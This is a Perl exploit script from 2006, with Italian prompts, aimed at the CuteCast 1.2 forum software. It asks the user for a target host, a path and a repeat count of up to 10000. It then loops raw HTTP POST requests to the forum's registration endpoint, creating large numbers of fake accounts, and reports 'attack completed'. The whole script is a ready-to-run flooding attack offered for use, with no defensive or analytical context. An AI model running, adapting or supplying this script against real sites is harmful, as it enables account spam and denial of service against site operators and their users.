#!/usr/bin/perl
print q{
_________________________________________________________________________
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

           /      \
        \  \  ,,  /  /
         '-.`\()/`.-'
        .--_'(  )'_--.
       / /` /`""`\ `\ \           * SpiderZ ForumZ Security *
        |  |  ><  |  |
        \  \      /  /
            '.__.'       


=> Continuous recordings CuteCast Version 1.2 
=> Sito: www.spiderz.tk
=> Author: SpiderZ

_________________________________________________________________________
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
};

use IO::Socket;

print q{
=> Exploit created  by: SpiderZ
=> Inserisci l'url del sito 
=> senza inserire ( www - http )
=> };
$host = <STDIN>;
chop ($host);

print q{
=> Indica la cartella
=> di solito e ( /cutecast/ )
=> };
$pth = <STDIN>;
chop ($pth);

print q{
=> Quante volte vuoi registrarti ? ( 1 / 10000 )
=> };
$while = <STDIN>;
chop ($while);

print q{
=> Username ( Non inserire il tuo reale nome ! )
=> };
$name = <STDIN>;
chop ($name);

while($x != $while )
{
$uname = "YourUsername=$name " . "$x";

$umail = "&Email=Exploit " . "$x";

$postit = "$uname"."$umail"."@exploit.com&Password=Exploit&Absenden=submit&submit=submit";

$lrg = length $postit;

my $sock = new IO::Socket::INET 

(
PeerAddr => "$host",
PeerPort => "80",
Proto => "tcp",
);

die "\nThe Socket: $!\n" unless $sock;
print $sock "POST $pth"."cutecast.pl?action=register HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);

syswrite STDOUT, "=>";

$x++;
}

print q{

=> Attacco Completato ! 
=> www.spiderz.tk
};


# www.spiderz.tk [2006]